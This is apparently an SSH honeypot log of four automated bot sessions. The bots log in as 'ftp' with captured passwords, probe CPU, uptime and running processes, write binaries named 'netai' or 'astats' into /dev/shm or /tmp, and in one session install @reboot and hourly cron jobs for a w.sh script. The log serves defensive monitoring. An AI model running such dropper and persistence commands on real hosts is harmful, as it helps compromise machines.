{"id":"e564f4be-5bda-4d09-9f17-48c5b2692673","name":"sincere-snowy-raven","protocol":"ssh","channel_kind":"exec","src_ip":"64.227.168.220","src_port":50962,"username":"ftp","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":574,"probe_flagged":0,"exec_command":"nproc","started_at":"2026-08-26T11:32:59.420354+00:00","ended_at":"2026-08-26T11:32:59.985009+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":369,"events":[{"seq":1,"at":"2026-08-26T11:32:53.250393+00:00","kind":"input","latency_ms":null,"data":"nproc"},{"seq":2,"at":"2026-08-26T11:32:53.252083+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":3,"at":"2026-08-26T11:32:53.751244+00:00","kind":"input","latency_ms":null,"data":"cut -d' ' -f1 /proc/uptime"},{"seq":4,"at":"2026-08-26T11:32:54.446821+00:00","kind":"output","latency_ms":null,"data":""},{"seq":5,"at":"2026-08-26T11:32:55.189225+00:00","kind":"input","latency_ms":null,"data":"ps -eo pid,pcpu,comm --sort=-pcpu | head -n 10"},{"seq":6,"at":"2026-08-26T11:32:55.752712+00:00","kind":"output","latency_ms":null,"data":""},{"seq":7,"at":"2026-08-26T11:32:56.327221+00:00","kind":"input","latency_ms":null,"data":"ps aux | grep netai | grep -v grep | wc -l"},{"seq":8,"at":"2026-08-26T11:32:56.829854+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T11:32:57.330772+00:00","kind":"input","latency_ms":null,"data":"cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > netai"},{"seq":10,"at":"2026-08-26T11:32:58.909335+00:00","kind":"input","latency_ms":null,"data":"cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > netai"},{"seq":11,"at":"2026-08-26T11:32:59.422463+00:00","kind":"input","latency_ms":null,"data":"cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > netai"}],"credentials":[{"username":"ftp","password":"A+!cE3bl$G83qYP","method":"password","accepted":true,"tier":"other"}]}
{"id":"3aec6b7b-7668-456b-ae57-8d6500e4a571","name":"crystal-plucky-cicada","protocol":"ssh","channel_kind":"exec","src_ip":"119.203.231.121","src_port":45092,"username":"ftp","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":553,"probe_flagged":0,"exec_command":"nproc","started_at":"2026-08-24T15:02:38.764350+00:00","ended_at":"2026-08-24T15:02:39.368170+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":537,"events":[{"seq":1,"at":"2026-08-24T15:02:30.085390+00:00","kind":"input","latency_ms":null,"data":"nproc"},{"seq":2,"at":"2026-08-24T15:02:30.085793+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":3,"at":"2026-08-24T15:02:30.637194+00:00","kind":"input","latency_ms":null,"data":"cut -d' ' -f1 /proc/uptime"},{"seq":4,"at":"2026-08-24T15:02:32.868128+00:00","kind":"output","latency_ms":2231,"data":"4\n"},{"seq":5,"at":"2026-08-24T15:02:33.694079+00:00","kind":"input","latency_ms":null,"data":"ps -eo pid,pcpu,comm --sort=-pcpu | head -n 10"},{"seq":6,"at":"2026-08-24T15:02:34.674682+00:00","kind":"output","latency_ms":979,"data":"  PID %CPU COMMAND\n 3121 12.4 node\n 1844  2.1 nginx\n 2987  0.8 postgres\n  901  0.2 systemd\n 1456  0.1 sshd\n 2773  0.0 cron\n 2810  0.0 systemd-resolve\n 2864  0.0 bash"},{"seq":7,"at":"2026-08-24T15:02:35.226111+00:00","kind":"input","latency_ms":null,"data":"ps aux | grep netai | grep -v grep | wc -l"},{"seq":8,"at":"2026-08-24T15:02:35.990078+00:00","kind":"output","latency_ms":763,"data":"0"},{"seq":9,"at":"2026-08-24T15:02:36.542869+00:00","kind":"input","latency_ms":null,"data":"cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > netai"},{"seq":10,"at":"2026-08-24T15:02:37.914068+00:00","kind":"input","latency_ms":null,"data":"cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > netai"},{"seq":11,"at":"2026-08-24T15:02:38.764889+00:00","kind":"input","latency_ms":null,"data":"cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > netai"}],"credentials":[{"username":"ftp","password":"ftp","method":"password","accepted":true,"tier":"common"}]}
{"id":"f566b99b-a9dd-492d-8815-dca26d3d3dc1","name":"dapper-umber-dotterel","protocol":"ssh","channel_kind":"exec","src_ip":"133.18.181.51","src_port":40338,"username":"ftp","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":578,"probe_flagged":0,"exec_command":"nproc","started_at":"2026-08-20T21:40:13.409589+00:00","ended_at":"2026-08-20T21:40:13.854251+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":547,"events":[{"seq":1,"at":"2026-08-20T21:40:02.655557+00:00","kind":"input","latency_ms":null,"data":"nproc"},{"seq":2,"at":"2026-08-20T21:40:02.669366+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":3,"at":"2026-08-20T21:40:03.247952+00:00","kind":"input","latency_ms":null,"data":"cut -d' ' -f1 /proc/uptime"},{"seq":4,"at":"2026-08-20T21:40:06.783435+00:00","kind":"output","latency_ms":3529,"data":"1200.00"},{"seq":5,"at":"2026-08-20T21:40:07.640599+00:00","kind":"input","latency_ms":null,"data":"ps -eo pid,pcpu,comm --sort=-pcpu | head -n 10"},{"seq":6,"at":"2026-08-20T21:40:08.889029+00:00","kind":"output","latency_ms":1247,"data":"    PID %CPU COMMAND\n  14231  3.7 node\n   1134  1.2 postgres\n    998  0.6 nginx\n   4278  0.2 sshd\n   9011  0.1 cron\n      1  0.0 systemd\n  31876  0.0 ps\n  31877  0.0 head"},{"seq":7,"at":"2026-08-20T21:40:09.460100+00:00","kind":"input","latency_ms":null,"data":"ps aux | grep netai | grep -v grep | wc -l"},{"seq":8,"at":"2026-08-20T21:40:10.067407+00:00","kind":"output","latency_ms":606,"data":"0"},{"seq":9,"at":"2026-08-20T21:40:10.639668+00:00","kind":"input","latency_ms":null,"data":"cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > netai"},{"seq":10,"at":"2026-08-20T21:40:12.482831+00:00","kind":"input","latency_ms":null,"data":"cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > netai"},{"seq":11,"at":"2026-08-20T21:40:13.412378+00:00","kind":"input","latency_ms":null,"data":"cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > netai"}],"credentials":[{"username":"ftp","password":"ftp","method":"password","accepted":true,"tier":"common"}]}
{"id":"1b6c57a3-edac-4194-b881-0f4da60de0b4","name":"hollow-quaint-falcon","protocol":"ssh","channel_kind":"exec","src_ip":"130.185.120.96","src_port":49710,"username":"ftp","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":481,"probe_flagged":0,"exec_command":"uname -a","started_at":"2026-08-20T11:21:58.957191+00:00","ended_at":"2026-08-20T11:21:59.656559+00:00","ended_reason":"exec complete","commands":13,"transcript_bytes":1382,"events":[{"seq":1,"at":"2026-08-20T11:21:46.836790+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":2,"at":"2026-08-20T11:21:46.838532+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":3,"at":"2026-08-20T11:21:47.318952+00:00","kind":"input","latency_ms":null,"data":"cut -d' ' -f1 /proc/uptime"},{"seq":4,"at":"2026-08-20T11:21:48.272951+00:00","kind":"output","latency_ms":953,"data":"29309.67"},{"seq":5,"at":"2026-08-20T11:21:48.755998+00:00","kind":"input","latency_ms":null,"data":"sudo -l"},{"seq":6,"at":"2026-08-20T11:21:49.488062+00:00","kind":"output","latency_ms":731,"data":"bash: sudo: command not found"},{"seq":7,"at":"2026-08-20T11:21:49.971193+00:00","kind":"input","latency_ms":null,"data":"sh -c 'for d in /dev/shm /tmp /var/run /mnt /root /; do cd \"$d\" 2>/dev/null && pwd && break; done'"},{"seq":8,"at":"2026-08-20T11:21:51.440165+00:00","kind":"output","latency_ms":1466,"data":"/root"},{"seq":9,"at":"2026-08-20T11:21:51.919268+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep processor | wc -l"},{"seq":10,"at":"2026-08-20T11:21:52.589556+00:00","kind":"output","latency_ms":669,"data":"1"},{"seq":11,"at":"2026-08-20T11:21:53.316566+00:00","kind":"input","latency_ms":null,"data":"cd \"/root\" && if [ ! -f \"w.sh\" ]; then cat > \"w.sh\" && chmod +x w.sh; fi"},{"seq":12,"at":"2026-08-20T11:21:53.796769+00:00","kind":"input","latency_ms":null,"data":"grep -E \"CentOS|Red Hat|AlmaLinux|Rocky\" /etc/os-release 2>/dev/null || true"},{"seq":13,"at":"2026-08-20T11:21:54.281183+00:00","kind":"input","latency_ms":null,"data":"\nPATH=$PATH:/usr/bin:/usr/local/bin\nCRON=\"$(crontab -l 2>/dev/null || true)\"\nif ! echo \"$CRON\" | grep -F '/root/w.sh \"astats\" \"netai\" \"kstats\" \"ssh 1 az\"' >/dev/null 2>&1; then\n  (echo \"$CRON\"; echo '@reboot  /root/w.sh \"astats\" \"netai\" \"kstats\" \"ssh 1 az\"'; echo '0 * * * * cd \"/root\" && ./w.sh \"astats\" \"netai\" \"kstats\" \"ssh 1 az\"') | crontab -\nfi\n"},{"seq":14,"at":"2026-08-20T11:21:54.762266+00:00","kind":"input","latency_ms":null,"data":"ps -eo pid,pcpu,comm --sort=-pcpu | head -n 10"},{"seq":15,"at":"2026-08-20T11:21:55.947916+00:00","kind":"output","latency_ms":1184,"data":"  PID %CPU COMMAND\n    1  0.0 systemd\n  823  0.0 sshd\n 1024  0.0 nginx\n 1088  0.0 postgres\n 1121  0.0 node\n 1304  0.0 cron\n 1450  0.0 systemd-resolve\n 1499  0.0 bash\n 1521  0.0 ps\n 1522  0.0 head"},{"seq":16,"at":"2026-08-20T11:21:56.427834+00:00","kind":"input","latency_ms":null,"data":"ps aux | grep astats | grep -v grep | wc -l"},{"seq":17,"at":"2026-08-20T11:21:57.033017+00:00","kind":"output","latency_ms":604,"data":"0"},{"seq":18,"at":"2026-08-20T11:21:57.513794+00:00","kind":"input","latency_ms":null,"data":"cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > astats"},{"seq":19,"at":"2026-08-20T11:21:58.470082+00:00","kind":"input","latency_ms":null,"data":"cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > astats"},{"seq":20,"at":"2026-08-20T11:21:58.957900+00:00","kind":"input","latency_ms":null,"data":"cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > astats"}],"credentials":[{"username":"ftp","password":"ftp","method":"password","accepted":true,"tier":"common"}]}